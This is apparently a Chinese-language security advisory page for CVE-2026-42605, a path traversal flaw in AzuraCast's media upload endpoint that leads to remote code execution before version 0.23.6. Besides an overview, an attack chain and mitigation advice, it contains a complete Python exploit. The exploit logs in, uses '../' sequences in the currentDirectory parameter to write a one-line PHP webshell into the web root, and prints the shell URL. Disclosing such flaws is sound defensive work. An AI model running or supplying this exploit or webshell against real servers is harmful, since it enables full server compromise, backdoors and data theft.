IPBUF安全漏洞报告
English
CVE-2026-42605 CVSS 8.8 高危

CVE-2026-42605 AzuraCast路径遍历致RCE漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-42605
漏洞类型
路径遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AzuraCast

相关标签

路径遍历远程代码执行AzuraCast任意文件写入RCE

漏洞概述

AzuraCast是一个自托管的全功能网络电台管理套件。在0.23.6版本之前,Flow.js媒体上传端点中的`currentDirectory`请求参数未经过滤路径遍历序列。结合本地文件系统存储后端(默认配置),具有媒体管理权限的经过身份验证的用户可以在电台媒体存储目录之外写入任意文件,通过将PHP webshell写入Web根目录来实现远程代码执行。该问题已在0.23.6版本中修复。

技术细节

该漏洞源于AzuraCast在处理媒体文件上传时的安全疏忽。具体而言,在Flow.js集成的上传接口`/api/station/{station_id}/files/upload`中,`currentDirectory`参数用于指定相对路径,但后端未对`../`等路径遍历序列进行有效清洗。当系统使用默认的本地文件系统作为存储后端时,经过身份验证且具备媒体管理权限的攻击者,可利用此缺陷突破目录限制。攻击者通过构造恶意的HTTP POST请求,将包含恶意PHP代码的文件(如Webshell)写入应用程序的Web根目录或其它可执行位置。随后,攻击者只需向该文件发送HTTP请求,即可触发服务器端代码执行,获取系统最高权限,导致服务器完全被控。此漏洞利用门槛较低,危害极大。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者获取一个具有媒体管理权限的AzuraCast账户,并成功登录系统获取有效的Session会话。
STEP 2
2. 漏洞利用
攻击者向`/api/station/{station_id}/files/upload`接口发送POST请求,在`currentDirectory`参数中注入`../`路径遍历序列,指向Web根目录。
STEP 3
3. 上传Webshell
攻击者在该请求中包含一个恶意的PHP文件(Webshell),利用漏洞将其写入到服务器的Web根目录。
STEP 4
4. 执行代码
攻击者通过浏览器访问已上传的PHP文件URL,并传入系统命令参数,服务器解析PHP代码并返回执行结果,实现远程代码执行。
STEP 5
5. 维持权限
攻击者利用获得的Shell权限进一步提权、安装后门或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-azuracast.com" station_id = "1" login_url = f"{target_url}/login" upload_url = f"{target_url}/api/station/{station_id}/files/upload" username = "attacker" password = "password" # 1. Authenticate to get session session = requests.Session() login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # 2. Prepare payload (PHP Webshell) webshell_content = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.php', webshell_content, 'application/x-php') } # 3. Exploit Path Traversal in currentDirectory parameter # Adjust the number of '../' based on the directory depth payload_data = { 'currentDirectory': '../../../public' # Path traversal to web root } # 4. Send upload request response = session.post(upload_url, files=files, data=payload_data) if response.status_code == 200: print("[+] Exploit successful! Webshell uploaded.") print(f"[+] Access your shell at: {target_url}/shell.php?cmd=whoami") else: print("[-] Exploit failed.") print(response.text)

影响范围

AzuraCast < 0.23.6

防御指南

临时缓解措施
建议立即升级至AzuraCast 0.23.6或更高版本以彻底修复此漏洞。如果暂时无法升级,应严格审查服务器日志,监控异常的文件上传行为,并确保Web根目录不可被应用程序进程写入,同时仅授予可信用户媒体管理权限。

参考链接